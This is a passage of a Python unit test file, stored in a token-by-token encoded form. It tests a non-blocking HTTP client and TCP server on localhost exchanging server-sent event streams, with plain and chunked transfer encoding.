"\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.0", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Past", "e", "WS", "GI", "Server", "/", "0.", "5", " ", "Pyth", "on", "/", "2.7", ".9", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "21", ":", "3", "5", ":", "25", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Connect", "ion", ":", " ", "close", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "retr", "y", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "0", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "1", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "1", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "2", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "data", ":", " ", "{", "\"", "count", "\":", "2", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "3", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "3", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "id", ":", " ", "4", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "4", "}\\\\", "n", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "timer_", "=_", "Timer_", "(_", "duration_", "=_", "0.5_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "response_", "._", "parser_", "and_", "not_", "timer_", "._", "expired_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parse_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "response_", "._", "parser_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "._", "parser_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "._", "parser_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "event", "Source_", "._", "retry_", ",_", "1000_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "retry_", ",_", "response_", "._", "event", "Source_", "._", "retry_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "int_", "(_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", ">=_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", "._", "lei", "d_", ",_", "response_", "._", "event", "Source_", "._", "lei", "d_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "events_", ")_", ">_", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "0", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "'", "START", "'_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "1", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "1_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "event_", "=_", "response_", "._", "events_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "event_", ",_", "{_", "'", "id", "'_", ":_", "'", "2", "'_", ",_", "'", "name", "'_", ":_", "''_", ",_", "'", "data", "'_", ":_", "{_", "'", "count", "'_", ":_", "2_", "}_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "body_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "True_", "(_", "len_", "(_", "response_", "._", "event", "Source_", "._", "raw_", ")_", "==_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Js", "on", "Chunk", "ed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Non", "Block", "ing", " ", "Http", " ", "client", " ", "to", " ", "server", " ", "Fan", "cy", " ", "SSE", " ", "with", " ", "chunked", " ", "transfer", " ", "encoding", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Non", "Block", "ing", "Request", "Stream", "Fan", "cy", "Js", "on", "Chunk", "ed_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "tcp_", "._", "Client_", "(_", "ha_", "=_", "alpha_", "._", "eh", "a_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Connect", "ing", " ", "beta", " ", "to", " ", "server", " ", "...", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Connect_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "beta_", "._", "accepted_", "and_", "beta_", "._", "ca_", "in_", "alpha_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "accepted_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connected_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ca_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "beta_", "._", "ha_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Beta", "_", "=_", "alpha_", "._", "ix", "es_", "[_", "beta_", "._", "ca_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is", "Not", "None_", "(_", "ix", "Beta", "_", "._", "cs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "cs_", "._", "getp", "eer", "name_", "(_", ")_", ",_", "beta_", "._", "cs_", "._", "getsockname", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ca_", ",_", "beta_", "._", "ca_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "ix", "Beta", "_", "._", "ha_", ",_", "beta_", "._", "ha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Request", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "host_", "=_", "u", "'", "127", ".0", ".0", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port_", "=_", "606", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "method_", "=_", "u", "'", "GET", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "u", "'/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}", " ", "from", " ", " ", "{", "1", "}:", "{", "2", "}{", "3", "}", " ", "...", "\\\\", "n", "\"_", "._", "format_", "(_", "method_", ",_", "host_", ",_", "port_", ",_", "path_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "headers_", "=_", "odict_", "(_", "[_", "(_", "u", "'", "Accept", "'_", ",_", "u", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "client", "ing_", "._", "Requeste", "r_", "(_", "hostname_", "=_", "host_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "port_", "=_", "port_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "headers_", "=_", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "request_", "._", "build_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Accept", ":", " ", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "i_", ",_", "line_", "in_", "enumerate_", "(_", "lines_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "assert", "Equal_", "(_", "line_", ",_", "request_", "._", "lines_", "[_", "i_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "request_", "._", "head_", ",_", "b", "'", "GET", " ", "/", "fancy", "?", "idi", "fy", "=", "true", "&", "json", "if", "y", "=", "true", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "127", ".0", ".0", ".1", ":", "606", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "Out_", ",_", "request_", "._", "head_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "request", "s", " ", "to", " ", "Al", "pha", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "beta_", "._", "tx", "es_", "and_", "not_", "ix", "Beta", "_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "beta_", "._", "service", "Tx", "es_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "alpha_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Beta", "_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Al", "pha", " ", "respond", "s", " ", "to", " ", "Beta", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Conten", "t", "-", "Type", ":", " ", "text", "/", "event", "-", "stream", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Cache", "-", "Control", ":", " ", "no", "-", "cache", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Transfer", "-", "Enco", "ding", ":", " ", "chunked", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "2", "2", ":", "11", ":", "5", "3", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "._", "join_", "(_", "lines_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Beta", "_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "ix", "Beta", "_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "rx", "bs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "alpha_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "Receive", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "beta_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "msg", "In_", ",_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"", "Beta", " ", "process", "es", " ", "response", " ", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "client", "ing_", "._", "Responde", "nt_", "(_", "msg_", "=_", "beta_", "._", "rx", "bs_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "method_", "=_", "method_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "dict", "able_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "lines_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "nre", "try", ":", " ", "1000", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "0", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "d", "\\\\", "r", "\\\\", "ndata", ":", " ", "START", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "1", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "1", "}\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "2", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "2", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "3", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "3", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", "\\\\", "n", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "b", "'", "6", "\\\\", "r", "\\\\", "nid", ":", " ", "4", "\\\\", "n", "\\\\", "r", "\\\\", "n1", "2", "\\\\", "r", "\\\\", "ndata", ":", " ", "{", "\"", "count", "\":", "4", "}\\\\", "n", "\\\\", "r", "\\\\", "n1", "\\\\", "r", "\\\\", "n", "\\\\", "n", "\\\\", "r", 